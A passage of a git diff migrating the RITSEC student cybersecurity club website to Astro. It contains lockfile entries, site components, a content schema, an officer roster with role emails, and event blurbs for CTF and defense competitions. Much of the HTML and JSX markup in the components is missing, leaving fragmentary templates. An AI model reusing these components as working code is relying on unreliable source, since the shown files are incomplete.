vitefu@1.1.1(vite@6.4.1(@types/node@24.10.2)(yaml@2.8.2)): + optionalDependencies: + vite: 6.4.1(@types/node@24.10.2)(yaml@2.8.2) + + volar-service-css@0.0.68(@volar/language-service@2.4.27): + dependencies: + vscode-css-languageservice: 6.3.9 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.27 + + volar-service-emmet@0.0.68(@volar/language-service@2.4.27): + dependencies: + '@emmetio/css-parser': 0.4.1 + '@emmetio/html-matcher': 1.3.0 + '@vscode/emmet-helper': 2.11.0 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.27 + + volar-service-html@0.0.68(@volar/language-service@2.4.27): + dependencies: + vscode-html-languageservice: 5.6.1 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.27 + + volar-service-prettier@0.0.68(@volar/language-service@2.4.27)(prettier@3.7.4): + dependencies: + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.27 + prettier: 3.7.4 + + volar-service-typescript-twoslash-queries@0.0.68(@volar/language-service@2.4.27): + dependencies: + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.27 + + volar-service-typescript@0.0.68(@volar/language-service@2.4.27): + dependencies: + path-browserify: 1.0.1 + semver: 7.7.3 + typescript-auto-import-cache: 0.3.6 + vscode-languageserver-textdocument: 1.0.12 + vscode-nls: 5.2.0 + vscode-uri: 3.1.0 + optionalDependencies: + '@volar/language-service': 2.4.27 + + volar-service-yaml@0.0.68(@volar/language-service@2.4.27): + dependencies: + vscode-uri: 3.1.0 + yaml-language-server: 1.19.2 + optionalDependencies: + '@volar/language-service': 2.4.27 + + vscode-css-languageservice@6.3.9: + dependencies: + '@vscode/l10n': 0.0.18 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-uri: 3.1.0 + + vscode-html-languageservice@5.6.1: + dependencies: + '@vscode/l10n': 0.0.18 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-uri: 3.1.0 + + vscode-json-languageservice@4.1.8: + dependencies: + jsonc-parser: 3.3.1 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-nls: 5.2.0 + vscode-uri: 3.1.0 + + vscode-jsonrpc@8.2.0: {} + + vscode-languageserver-protocol@3.17.5: + dependencies: + vscode-jsonrpc: 8.2.0 + vscode-languageserver-types: 3.17.5 + + vscode-languageserver-textdocument@1.0.12: {} + + vscode-languageserver-types@3.17.5: {} + + vscode-languageserver@9.0.1: + dependencies: + vscode-languageserver-protocol: 3.17.5 + + vscode-nls@5.2.0: {} + + vscode-uri@3.1.0: {} + + web-namespaces@2.0.1: {} + + which-pm-runs@1.1.0: {} + + widest-line@5.0.0: + dependencies: + string-width: 7.2.0 + + wrap-ansi@7.0.0: + dependencies: + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + + wrap-ansi@9.0.2: + dependencies: + ansi-styles: 6.2.3 + string-width: 7.2.0 + strip-ansi: 7.1.2 + + xxhash-wasm@1.1.0: {} + + y18n@5.0.8: {} + + yallist@3.1.1: {} + + yaml-language-server@1.19.2: + dependencies: + '@vscode/l10n': 0.0.18 + ajv: 8.17.1 + ajv-draft-04: 1.0.0(ajv@8.17.1) + lodash: 4.17.21 + prettier: 3.7.4 + request-light: 0.5.8 + vscode-json-languageservice: 4.1.8 + vscode-languageserver: 9.0.1 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-uri: 3.1.0 + yaml: 2.7.1 + + yaml@2.7.1: {} + + yaml@2.8.2: {} + + yargs-parser@21.1.1: {} + + yargs@17.7.2: + dependencies: + cliui: 8.0.1 + escalade: 3.2.0 + get-caller-file: 2.0.5 + require-directory: 2.1.1 + string-width: 4.2.3 + y18n: 5.0.8 + yargs-parser: 21.1.1 + + yocto-queue@1.2.2: {} + + yocto-spinner@0.2.3: + dependencies: + yoctocolors: 2.1.2 + + yoctocolors@2.1.2: {} + + yoga-layout@3.2.1: {} + + zod-to-json-schema@3.25.0(zod@3.25.76): + dependencies: + zod: 3.25.76 + + zod-to-ts@1.2.0(typescript@5.9.3)(zod@3.25.76): + dependencies: + typescript: 5.9.3 + zod: 3.25.76 + + zod@3.25.76: {} + + zwitch@2.0.4: {} diff --git a/public/favicon.svg b/public/favicon.svg new file mode 100644 index 00000000..c3b6ce91 --- /dev/null +++ b/public/favicon.svg @@ -0,0 +1 @@ + diff --git a/assets/images/ritsec_logo_final-05.png b/public/og-image.png similarity index 100% rename from assets/images/ritsec_logo_final-05.png rename to public/og-image.png diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 00000000..c20f7f0e --- /dev/null +++ b/public/robots.txt @@ -0,0 +1,4 @@ +User-agent: * +Allow: / + +Sitemap: https://ritsec.club/sitemap-index.xml diff --git a/assets/sponsorship.pdf b/public/sponsorship.pdf similarity index 100% rename from assets/sponsorship.pdf rename to public/sponsorship.pdf diff --git a/assets/images/cfe2024.JPEG b/src/assets/cfe2024.jpg similarity index 100% rename from assets/images/cfe2024.JPEG rename to src/assets/cfe2024.jpg diff --git a/assets/images/ritsec_ctf_2025_resized.svg b/src/assets/ctf2025.svg similarity index 99% rename from assets/images/ritsec_ctf_2025_resized.svg rename to src/assets/ctf2025.svg index 48657c82..74b829f4 100644 --- a/assets/images/ritsec_ctf_2025_resized.svg +++ b/src/assets/ctf2025.svg @@ -1,8 +1,8 @@ New Project - - + + + + + + diff --git a/src/components/EboardGrid.astro b/src/components/EboardGrid.astro new file mode 100644 index 00000000..19245d4a --- /dev/null +++ b/src/components/EboardGrid.astro @@ -0,0 +1,141 @@ +--- +import { getCollection } from "astro:content"; +import { Picture } from "astro:assets"; + +const eboard = await getCollection("eboard"); +--- + +
+ { + eboard.map((member) => ( +
+
+ +
+ +
+
+

{member.data.name}

+
{member.data.id}
+
+ +
+ Class of + {member.data.grad_year} +
+ +
+ + Email + + + {member.data.linked_in && ( + + LinkedIn + + )} +
+
+
+ )) + } +
+ + diff --git a/src/components/EventsCarousel.astro b/src/components/EventsCarousel.astro new file mode 100644 index 00000000..2e8a232d --- /dev/null +++ b/src/components/EventsCarousel.astro @@ -0,0 +1,286 @@ +--- +import { getCollection } from "astro:content"; +import { Picture } from "astro:assets"; +import { formatDates } from "@/utils.js"; + +const events = await getCollection("events"); + +/** + * @param {Date | undefined | null} date + */ +function getBadgeDate(date) { + if (!date) return null; + // Heuristic: If UTC midnight, it's a "Date Only" event (like CTF), so use UTC. + // Otherwise, it's a timed event (like 6PM), so render in RIT/NY time. + const isUtcMidnight = + date.getUTCHours() === 0 && + date.getUTCMinutes() === 0 && + date.getUTCSeconds() === 0; + + const timeZone = isUtcMidnight ? "UTC" : "America/New_York"; + + return { + month: date.toLocaleString("default", { month: "short", timeZone }), + day: new Intl.DateTimeFormat("en-US", { + day: "numeric", + timeZone, + }).format(date), + }; +} +--- + +
+ + +
+ + + + + + diff --git a/src/components/EventsList.astro b/src/components/EventsList.astro new file mode 100644 index 00000000..c4110e29 --- /dev/null +++ b/src/components/EventsList.astro @@ -0,0 +1,97 @@ +--- +import { getCollection } from "astro:content"; +import { formatDates } from "@/utils.js"; +import { Picture } from "astro:assets"; + +const events = await getCollection("events"); +--- + + + { + events.map(async (event) => { + const { Content } = await event.render(); + + return ( +
+
+

{event.data.title}

+ +
+ {event.data.start && event.data.end ? ( + + ) : ( + TBD + )} + • {event.data.location} • {event.data.access} +
+ + + +
+ {event.data.website && ( + + VISIT WEBSITE + + )} +
+
+ +
+ {/* The image is w=1000 so that it can be full-width when max-width 1000px */} + +
+
+ ); + }) + } +
+ + diff --git a/src/components/Footer.astro b/src/components/Footer.astro new file mode 100644 index 00000000..42b3283a --- /dev/null +++ b/src/components/Footer.astro @@ -0,0 +1,57 @@ +--- +import { Picture } from "astro:assets"; +import logo from "@/assets/logoLarge.png"; + +const currentYear = new Date().getFullYear(); + +const socials = [ + { text: "Discord", href: "https://discord.gg/ritsec" }, + { text: "GitHub", href: "https://github.com/RITRedteam" }, + { text: "Instagram", href: "https://www.instagram.com/ritsecclub/" }, + { text: "LinkedIn", href: "https://www.linkedin.com/company/ritsec-club" }, + { text: "Twitter", href: "https://twitter.com/RITSEC" }, + { text: "YouTube", href: "https://www.youtube.com/c/RITSEC" }, +]; +--- + + + + diff --git a/src/components/GroupCarousel.astro b/src/components/GroupCarousel.astro new file mode 100644 index 00000000..b7b24399 --- /dev/null +++ b/src/components/GroupCarousel.astro @@ -0,0 +1,250 @@ +--- +import { Picture } from "astro:assets"; +import { getCollection, getEntry } from "astro:content"; +const groups = await getCollection("groups"); + +const icons = import.meta.glob("@/assets/icons/*.svg", { + query: "?raw", + import: "default", + eager: true, +}); +const metaIcons = import.meta.glob("@/assets/icons/*.svg", { + eager: true, +}); +--- + +
+ + + + + +
+ + + + diff --git a/src/components/Head.astro b/src/components/Head.astro new file mode 100644 index 00000000..888f1de9 --- /dev/null +++ b/src/components/Head.astro @@ -0,0 +1,70 @@ +--- +import { ClientRouter } from "astro:transitions"; + +interface Props { + title: string; + description?: string; + image?: string; +} + +const { + title, + description = "RITSEC is a student-run organization dedicated to cybersecurity education.", + image, +} = Astro.props; + +const canonical = new URL(Astro.url.pathname, Astro.site || Astro.url); + +// Generate OG Image URL +const baseUrl = import.meta.env.BASE_URL; +let slug = Astro.url.pathname; + +// Remove base URL +if (slug.startsWith(baseUrl)) { + slug = slug.slice(baseUrl.length); +} + +// Remove leading/trailing slashes +slug = slug.replace(/^\/|\/$/g, ""); + +// Default to "index" if root +if (slug === "") slug = "index"; + +// Construct the OG image path (e.g., /ritsec.github.io/og/index.png) +const ogImagePath = `${baseUrl.replace(/\/$/, "")}/og/${slug}.png`; +const defaultImage = new URL(ogImagePath, Astro.url); +const finalImage = image ? new URL(image, Astro.url) : defaultImage; +--- + + + + + + + + + + {title} | RITSEC + + + + + + + + + + + + + + + + + diff --git a/src/components/Header.astro b/src/components/Header.astro new file mode 100644 index 00000000..2f5bf280 --- /dev/null +++ b/src/components/Header.astro @@ -0,0 +1,168 @@ +--- +import { Picture } from "astro:assets"; +import logoLarge from "@/assets/logoLarge.png"; + +const path = Astro.url.pathname.substring(import.meta.env.BASE_URL.length); + +const navLinks = [ + { text: "HOME", href: "/" }, + { text: "ABOUT", href: "/about" }, + { text: "EVENTS", href: "/events" }, + { text: "GROUPS", href: "/groups" }, + { text: "EDUCATION", href: "/education" }, + { text: "RESEARCH", href: "/research" }, + { text: "SPONSORS", href: "/sponsors" }, +]; + +function joinPath(base: string, path: string) { + if (path === "/" && base !== "/") return base; // Special case for home + if (base === "/") return path; + if (base.endsWith("/")) base = base.slice(0, -1); + if (!path.startsWith("/")) path = "/" + path; + return base + path; +} + +const currentPath = Astro.url.pathname; +const base = import.meta.env.BASE_URL; +--- + +
+ + + + + + + +
+ + diff --git a/src/components/Hero.astro b/src/components/Hero.astro new file mode 100644 index 00000000..b5fa33a7 --- /dev/null +++ b/src/components/Hero.astro @@ -0,0 +1,162 @@ +--- +import { Picture } from "astro:assets"; + +interface Props { + badge?: string; + reverse?: boolean; +} + +const { badge, reverse = false } = Astro.props; +const i = !Astro.slots.has("image"); +--- + +
+
+ {badge &&

{badge}

} + +

+ +
+ +
+ + { + Astro.slots.has("bottom") && ( +
+ +
+ ) + } +
+ + { + Astro.slots.has("image") && ( +
+ +
+ ) + } +
+ + diff --git a/src/components/LegacyEboard.astro b/src/components/LegacyEboard.astro new file mode 100644 index 00000000..43c5fc30 --- /dev/null +++ b/src/components/LegacyEboard.astro @@ -0,0 +1,100 @@ +--- +import { getCollection } from "astro:content"; + +const legacy = (await getCollection("legacyEboard")).sort((a, b) => { + return b.data.term.localeCompare(a.data.term); +}); +--- + +
+ { + legacy.map((board) => ( +
+
+

{board.data.term}

+
{board.data.organization}
+
+ +
+
    + {board.data.eboard.map((person) => ( +
  • + {person.position} + {person.name} +
  • + ))} +
+
+
+ )) + } +
+ + diff --git a/src/components/ResearchList.astro b/src/components/ResearchList.astro new file mode 100644 index 00000000..390745ff --- /dev/null +++ b/src/components/ResearchList.astro @@ -0,0 +1,41 @@ +--- +import { getCollection } from "astro:content"; +import ResearchListComponent from "@/components/ResearchList.jsx"; + +interface Props { + group?: string; + count?: number; +} + +const { group, count } = Astro.props; + +const allResearch = await getCollection("research"); + +const research = allResearch.map((post) => ({ + slug: post.slug, + data: { + ...post.data, + date: post.data.date.toISOString(), + group: post.data.group ? { id: post.data.group.id } : null, + authors: post.data.authors.map((a) => ({ name: a.name })), + video: post.data.video, + slideshow: post.data.slideshow, + hasContent: (post.body || "").trim().length > 0, + }, +})); +--- + + + + diff --git a/src/components/ResearchList.jsx b/src/components/ResearchList.jsx new file mode 100644 index 00000000..74ba2ef1 --- /dev/null +++ b/src/components/ResearchList.jsx @@ -0,0 +1,248 @@ +import React, { useState, useMemo } from "react"; +import { formatDate } from "@/utils.js"; + +function ResearchList({ data, group: lockedGroup, count, ascending }) { + const getYear = (date) => { + const d = new Date(date); + return d.getUTCFullYear().toString(); + }; + + const years = useMemo(() => { + const base = lockedGroup + ? data.filter((e) => e.data.group?.id.toLowerCase() === lockedGroup.toLowerCase()) + : data; + const set = new Set(base.map((e) => getYear(e.data.date))); + return [...Array.from(set).sort().reverse()]; + }, [data, lockedGroup]); + + const [selectedYear, setSelectedYear] = useState(years[0] || "All"); + const [selectedGroup, setSelectedGroup] = useState("All"); + const [selectedType, setSelectedType] = useState("All Types"); + + const filteredData = useMemo(() => { + let d = [...data].sort((a, b) => new Date(a.data.date) - new Date(b.data.date)); + + if (lockedGroup) { + d = d.filter((a) => a.data.group?.id.toLowerCase() === lockedGroup.toLowerCase()); + } + + if (selectedYear !== "All") { + d = d.filter((a) => getYear(a.data.date) === selectedYear); + } + + if (!lockedGroup && selectedGroup !== "All") { + d = d.filter((a) => a.data.group?.id === selectedGroup); + } + + if (selectedType !== "All Types") { + if (selectedType === "Article") { + d = d.filter(a => a.data.hasContent); + } else if (selectedType === "Video") { + d = d.filter(a => a.data.video); + } else if (selectedType === "Slideshow") { + d = d.filter(a => a.data.slideshow); + } + } + + if (!ascending) d.reverse(); + return count ? d.slice(0, count) : d; + }, [data, selectedYear, selectedGroup, selectedType, lockedGroup, ascending, count]); + + const availableGroups = useMemo(() => { + const currentSet = selectedYear === "All" + ? data + : data.filter((e) => getYear(e.data.date) === selectedYear); + + const set = new Set( + currentSet + .map((e) => e.data.group?.id) + .filter(Boolean) + ); + return ["All", ...Array.from(set).sort()]; + }, [data, selectedYear]); + + return ( +
+
+ + {!lockedGroup && ( + + )} + +
+ +
+ {filteredData.map((post) => ( + +
+ +
+ +
+
+ {post.data.title} + {post.data.group && ( + + {post.data.group.id.toUpperCase()} + + )} +
+ +
+
+ + + + + + + {post.data.authors.length > 0 ? ( + + {post.data.authors + .map((a) => a.name) + .join(", ")} + + ) : ( + RITSEC + )} +
+
+
+ +
+
+ {post.data.hasContent && ( +
+ + + + + + + +
+ )} + {post.data.video && ( +
+ + + + +
+ )} + {post.data.slideshow && ( +
+ + + + + + +
+ )} +
+
+
+ ))} + + {filteredData.length === 0 && ( +
+ No research found, please check again later. +
+ )} +
+
+ ); +} + +export default ResearchList; diff --git a/src/components/Schedule.astro b/src/components/Schedule.astro new file mode 100644 index 00000000..c995f6ed --- /dev/null +++ b/src/components/Schedule.astro @@ -0,0 +1,47 @@ +--- +import { getCollection } from "astro:content"; +import Schedule from "@/components/Schedule.jsx"; + +interface Props { + group?: string; + count?: number; + ascending?: boolean; + showOld?: boolean; + daysAhead?: number; +} + +const { group, count, ascending = true, showOld = false, daysAhead = 7 } = Astro.props; + +const scheduleFiles = await getCollection("schedule"); + +const allEvents = scheduleFiles.flatMap((fileEntry) => { + const eventsList = Array.isArray(fileEntry.data) ? fileEntry.data : (fileEntry.data.events || []); + + return eventsList.map((event, index) => ({ + slug: `${fileEntry.id}-${index}`, + data: { + ...event, + hosts: event.hosts.map(h => h.name), + group: typeof event.group === 'string' ? { id: event.group } : event.group + } + })); +}); +--- + + + + + diff --git a/src/components/Schedule.jsx b/src/components/Schedule.jsx new file mode 100644 index 00000000..3bd28339 --- /dev/null +++ b/src/components/Schedule.jsx @@ -0,0 +1,172 @@ +import React, { useState, useMemo } from "react"; +import { formatDates } from "@/utils.js"; + +const isSameDay = (a, b) => { + const opts = { timeZone: "America/New_York", year: "numeric", month: "numeric", day: "numeric" }; + const dateA = new Intl.DateTimeFormat("en-US", opts).format(a); + const dateB = new Intl.DateTimeFormat("en-US", opts).format(b); + return dateA === dateB; +}; + +function Schedule({ data, group: lockedGroup, count, ascending, showOld, daysAhead }) { + const getSemester = (date) => { + const d = new Date(date); + const year = d.getFullYear(); + const month = d.getMonth(); // 0 = Jan + if (month >= 7) return `Fall ${year}`; + else return `Spring ${year}`; + }; + + const semesters = useMemo(() => { + const base = lockedGroup + ? data.filter((e) => e.data.group.id.toLowerCase() === lockedGroup.toLowerCase()) + : data; + const set = new Set(base.map((e) => getSemester(e.data.start))); + return Array.from(set).sort((a, b) => { + const [seasonA, yearA] = a.split(" "); + const [seasonB, yearB] = b.split(" "); + + const valA = parseInt(yearA) * 10 + (seasonA === "Fall" ? 2 : 1); + const valB = parseInt(yearB) * 10 + (seasonB === "Fall" ? 2 : 1); + + return valB - valA; // Descending (Newest first) + }); + }, [data, lockedGroup]); + + const [selectedSemester, setSelectedSemester] = useState(semesters[0]); + const [selectedGroup, setSelectedGroup] = useState("All"); + + const filteredData = useMemo(() => { + let d = [...data].sort((a, b) => a.data.start - b.data.start); + + if (lockedGroup) { + d = d.filter((a) => a.data.group.id.toLowerCase() === lockedGroup.toLowerCase()); + } + + if (!showOld) d = d.filter((a) => a.data.end > new Date()); + + const sevenDaysFromNow = new Date().getTime() + daysAhead * 86400000; + d = d.filter((a) => a.data.start < new Date(sevenDaysFromNow)); + d = d.filter((a) => getSemester(a.data.start) === selectedSemester); + + if (!lockedGroup && selectedGroup !== "All") { + d = d.filter((a) => a.data.group.id === selectedGroup); + } + + if (!ascending) d.reverse(); + return count ? d.slice(0, count) : d; + }, [data, selectedSemester, selectedGroup, lockedGroup, ascending, showOld, count]); + + const availableGroups = useMemo(() => { + const currentSet = data.filter( + (e) => getSemester(e.data.start) === selectedSemester, + ); + const set = new Set(currentSet.map((e) => e.data.group.id)); + return ["All", ...Array.from(set).sort()]; + }, [data, selectedSemester]); + + const now = new Date(); + + return ( +
+
+ + {!lockedGroup && ( + + )} +
+ {/* For icons, must include: */} +
+ {filteredData.map((e) => { + const isOngoing = now >= new Date(e.data.start) && now <= new Date(e.data.end); + + // Helper to normalize to array + const toArray = (val) => (Array.isArray(val) ? val : val ? [val] : []); + const slides = toArray(e.data.slide); + const videos = toArray(e.data.video); + const hasMedia = slides.length > 0 || videos.length > 0; + + return ( +
+
+ {isSameDay(new Date(e.data.start), new Date(e.data.end)) ? ( + <> +
+ {new Intl.DateTimeFormat("en-US", { timeZone: "America/New_York", month: "short", day: "numeric" }).format(new Date(e.data.start))} +
+
+ {new Intl.DateTimeFormat("en-US", { timeZone: "America/New_York", hour: "numeric", minute: "2-digit" }).format(new Date(e.data.start))} + {" - "} + {new Intl.DateTimeFormat("en-US", { timeZone: "America/New_York", hour: "numeric", minute: "2-digit" }).format(new Date(e.data.end))} +
+ + ) : ( + formatDates(e.data.start, e.data.end, "\n") + )} +
+ +
+
+ {e.data.title} + {e.data.group.id.toUpperCase()} +
+
+
+ + {e.data.location} +
+
+ + {e.data.hosts.join(", ")} +
+
+
+ +
+ {hasMedia && ( +
+ {slides.map((link, i) => ( + + + + ))} + {videos.map((link, i) => ( + + + + ))} +
+ )} +
+
+ ); + })} + {filteredData.length === 0 &&
No events found for this selection.
} +
+
+ ); +} + +export default Schedule; diff --git a/src/components/ShortSchedule.astro b/src/components/ShortSchedule.astro new file mode 100644 index 00000000..c14b5b50 --- /dev/null +++ b/src/components/ShortSchedule.astro @@ -0,0 +1,26 @@ +--- +import Schedule from "@/components/Schedule.astro"; +import FeaturedEvent from "@/components/FeaturedEvent.astro"; +--- + +
+ + +
+ + diff --git a/src/components/SponsorsCarousel.astro b/src/components/SponsorsCarousel.astro new file mode 100644 index 00000000..9ebf27b2 --- /dev/null +++ b/src/components/SponsorsCarousel.astro @@ -0,0 +1,98 @@ +--- +import { getCollection } from "astro:content"; +import { Picture } from "astro:assets"; + +const sponsors = await getCollection("sponsors"); +--- + +
+ +
+ + + + diff --git a/src/components/SponsorsList.astro b/src/components/SponsorsList.astro new file mode 100644 index 00000000..8953d089 --- /dev/null +++ b/src/components/SponsorsList.astro @@ -0,0 +1,120 @@ +--- +import { getCollection } from "astro:content"; +import { Picture } from "astro:assets"; + +interface Props { + individuals: boolean; +} + +const { individuals = false } = Astro.props; + +const allSponsors = await getCollection("sponsors"); +const tiers = ["diamond", "platinum", "gold", "silver", "educational"]; +const getByTier = (tier: string) => + allSponsors.filter((s) => s.data.tier === tier); +--- + + + + diff --git a/src/content/config.ts b/src/content/config.ts new file mode 100644 index 00000000..82f0a1d9 --- /dev/null +++ b/src/content/config.ts @@ -0,0 +1,151 @@ +import { z, reference, defineCollection } from "astro:content"; +import { file, glob } from "astro/loaders"; + +const groups = defineCollection({ + type: "content", + schema: ({ image }) => + z.object({ + name: z.string(), + summary: z.string(), + active: z.boolean().default(true), + meetings: z + .array( + z.object({ + day: z.enum([ + "Monday", + "Tuesday", + "Wednesday", + "Thursday", + "Friday", + ]), + start: z.string(), + end: z.string(), + location: z.string(), + }), + ) + .optional(), + leads: z + .array( + z.object({ + name: z.string(), + }), + ) + .default([]), + logo: image(), + website: z.string().optional(), + }), +}); + +const schedule = defineCollection({ + loader: glob({ + pattern: "**/*.{yml,yaml}", + base: "./src/content/schedule", + generateId: ({ entry }) => entry.replace(/\.yml$/, ''), + }), + schema: z.array(z.object({ + title: z.string(), + start: z.date(), + end: z.date(), + location: z.string().default("GOL 1400"), + group: reference("groups").default("general"), + hosts: z.array(z.object({ name: z.string() })) + .default([{ name: "RITSEC E-Board" }]), + slide: z.string().url().optional(), + video: z.string().url().optional(), + website: z.string().url().optional(), + })), +}); + +const events = defineCollection({ + type: "content", + schema: ({ image }) => + z.object({ + title: z.string(), + start: z.date().optional(), + end: z.date().optional(), + location: z.string(), + access: z.string(), + summary: z.string(), + website: z.string().optional(), + image: image(), + }), +}); + +const research = defineCollection({ + type: "content", + schema: ({ image }) => + z.object({ + title: z.string(), + authors: z + .array( + z.object({ + name: z.string(), + handle: z.string().optional(), + avatar: image().optional(), + url: z.string().url().optional(), + }), + ) + .default([]), + date: z.date(), + image: image().optional(), + imageAlt: z.string().optional(), + group: reference("groups").optional(), + summary: z.string(), + video: z.string().url().optional(), + slideshow: z.string().url().optional(), + }), +}); + +const sponsors = defineCollection({ + loader: file("src/content/sponsors.yml"), + schema: ({ image }) => + z.object({ + title: z.string(), + image: image(), + url: z.string().url(), + tier: z.enum([ + "diamond", + "platinum", + "gold", + "silver", + "educational", + ]), + type: z.enum(["company", "individual"]).optional(), + }), +}); + +const eboard = defineCollection({ + loader: file("src/content/eboard.yml"), + schema: ({ image }) => + z.object({ + id: z.string(), + name: z.string(), + grad_year: z.number(), + linked_in: z.string(), + image: image(), + }), +}); + +const legacyEboard = defineCollection({ + loader: file("src/content/legacy-eboard.yml"), + schema: z.object({ + term: z.string(), + organization: z.string(), + eboard: z.array( + z.object({ + position: z.string(), + name: z.string(), + }), + ), + }), +}); + +export const collections = { + groups, + schedule, + events, + research, + sponsors, + eboard, + legacyEboard, +}; diff --git a/src/content/eboard.yml b/src/content/eboard.yml new file mode 100644 index 00000000..c3608352 --- /dev/null +++ b/src/content/eboard.yml @@ -0,0 +1,72 @@ +- id: President + name: Dan LaChance + grad_year: 2026 + linked_in: https://www.linkedin.com/in/dan-lachance + email: president@ritsec.club + image: "@/assets/eboard/danl.jpg" +- id: Vice President + name: David Girard + grad_year: 2027 + linked_in: https://www.linkedin.com/in/david-wg2 + email: vicepresident@ritsec.club + image: "@/assets/eboard/davidg.jpg" +- id: Public Relations + name: Danny Nichols + grad_year: 2027 + linked_in: https://www.linkedin.com/in/daniel-t-nichols + email: publicrelations@ritsec.club + image: "@/assets/eboard/dannyn.jpg" +- id: Head of Education + name: Adam Braccia + grad_year: 2026 + linked_in: https://www.linkedin.com/in/adam-braccia-350407251 + email: education@ritsec.club + image: "@/assets/eboard/adamb.jpg" +- id: Head of Research + name: Hayden Hartman + grad_year: 2029 + linked_in: https://www.linkedin.com/in/hayden-hartman-60a042293 + email: research@ritsec.club + image: "@/assets/eboard/haydenh.jpg" +- id: ISTS CA + name: Leah Kvares + grad_year: 2027 + linked_in: https://www.linkedin.com/in/leahkvares + email: ists@ritsec.club + image: "@/assets/eboard/leahk.jpg" +- id: IRSeC CA + name: Arianna Schwartz + grad_year: 2026 + linked_in: https://www.linkedin.com/in/arianna--schwartz + email: irsec@ritsec.club + image: "@/assets/eboard/ariannas.jpg" +- id: Treasurer + name: Alex Noble + grad_year: 2026 + linked_in: https://www.linkedin.com/in/alexnoble079 + email: treasurer@ritsec.club + image: "@/assets/eboard/alexn.jpg" +- id: Secretary + name: Lukasz Ozimek + grad_year: 2027 + linked_in: https://www.linkedin.com/in/lukasz-ozimek-1376752a2 + email: secretary@ritsec.club + image: "@/assets/eboard/lukaszo.jpg" +- id: Operations Lead + name: John Arrandale + grad_year: 2026 + linked_in: https://www.linkedin.com/in/john-arrandale + email: opeations@ritsec.club + image: "@/assets/eboard/johna.jpg" +- id: Tech Lead + name: Owen Silsbee + grad_year: 2028 + linked_in: https://www.linkedin.com/in/owensilsbee + email: tech@ritsec.club + image: "@/assets/eboard/owens.jpg" +- id: CTF CA + name: Manav Malik + grad_year: 2026 + linked_in: https://www.linkedin.com/in/manav-malik + email: ctfca@ritsec.club + image: "@/assets/eboard/manavm.jpg" diff --git a/src/content/events/career-fair-eve.mdx b/src/content/events/career-fair-eve.mdx new file mode 100644 index 00000000..3b31d7be --- /dev/null +++ b/src/content/events/career-fair-eve.mdx @@ -0,0 +1,11 @@ +--- +title: Career Fair Eve +start: 2026-02-25 +end: 2026-02-25 +location: In Person +access: RITSEC Only +summary: Career Fair Eve is the RITSEC-ran career fair, prior to the university-wide career fair, connecting club members to companies. +image: "@/assets/cfe2024.jpg" +--- + +Held the day before RIT’s general career fair, this exclusive event connects RITSEC members directly with security-focused recruiters and alumni. It bypasses generic HR screens, allowing students to have technical conversations that often lead directly to interviews and offers. diff --git a/src/content/events/ctf.mdx b/src/content/events/ctf.mdx new file mode 100644 index 00000000..3e2f8ed0 --- /dev/null +++ b/src/content/events/ctf.mdx @@ -0,0 +1,12 @@ +--- +title: RITSEC CTF +location: Virtual +access: Public +summary: RITSEC CTF is a public Capture the Flag (CTF) competition, hosted by RITSEC. +website: https://ctf.ritsec.club/ +image: "@/assets/ctf2026.png" +start: 2026-04-03 +end: 2026-04-05 +--- + +A massive, 48-hour global jeopardy competition that invites hackers of all skill levels to solve challenges in crypto, reverse engineering, and exploitation. It serves as a community celebration, prioritizing pure technical problem-solving and trivia over the business simulation aspects of other events. diff --git a/src/content/events/irsec.mdx b/src/content/events/irsec.mdx new file mode 100644 index 00000000..21c50f5a --- /dev/null +++ b/src/content/events/irsec.mdx @@ -0,0 +1,12 @@ +--- +title: IRSEC +start: 2025-11-01 +end: 2025-11-01 +location: Rochester, NY +access: RITSEC Only +summary: RITSEC's beginner Red vs. Blue Incident Response competition. +website: https://ists.io +image: "@/assets/irsec2024.jpg" +--- + +The ultimate entry-level defense competition, pitting student defenders against a live Red Team in a strictly defensive environment. It focuses entirely on procedure, requiring teams to identify breaches, maintain uptime, and file professional incident response reports without the distraction of offensive tasks. diff --git a/src/content/events/ists-qualifiers.mdx b/src/content/events/ists-qualifiers.mdx new file mode 100644 index 00000000..42d8aa5e --- /dev/null +++ b/src/content/events/ists-qualifiers.mdx @@ -0,0 +1,12 @@ +--- +title: Information Security Talent Search Qualifiers +start: 2026-01-17 +end: 2026-01-17 +location: Virtual +access: Invite-Only +summary: The Information Security Talent Search (ISTS) qualifiers is the virtual qualifying event to the in-person ISTS competition. +website: https://ists.io +image: "@/assets/ists2025.jpg" +--- + +A high-stakes virtual defense competition that acts as the gatekeeper for the main ISTS event in the spring. Modeled after IRSEC, it filters teams strictly on their technical ability to patch and report vulnerabilities, ensuring only the most capable squads make the final roster. diff --git a/src/content/events/ists.mdx b/src/content/events/ists.mdx new file mode 100644 index 00000000..e4f47dd8 --- /dev/null +++ b/src/content/events/ists.mdx @@ -0,0 +1,12 @@ +--- +title: Information Security Talent Search +start: 2026-02-27 +end: 2026-03-01 +location: Rochester, NY +access: Invite-Only +summary: The Information Security Talent Search (ISTS) competition is an annual, invite-only, three-day cyber attack/defend competition. +website: https://ists.io +image: "@/assets/ists2025.jpg" +--- + +RITSEC’s premier "Purple Team" competition where student Blue Teams defend a corporate network while simultaneously hacking their competitors in a King of the Hill battle. It combines technical defense with a chaotic narrative "Game" involving social engineering and physical security injects. diff --git a/src/content/events/virtual-career-fair-eve.mdx b/src/content/events/virtual-career-fair-eve.mdx new file mode 100644 index 00000000..8a16bf51 --- /dev/null +++ b/src/content/events/virtual-career-fair-eve.mdx @@ -0,0 +1,11 @@ +--- +title: Virtual Career Fair Eve +start: 2026-02-24 +end: 2026-02-24 +location: In Person +access: RITSEC Only +summary: Career Fair Eve is the RITSEC-ran career fair, prior to the university-wide career fair, connecting club members to companies. +image: "@/assets/cfe2024.jpg" +--- + +The "early bird" remote recruiting event connecting 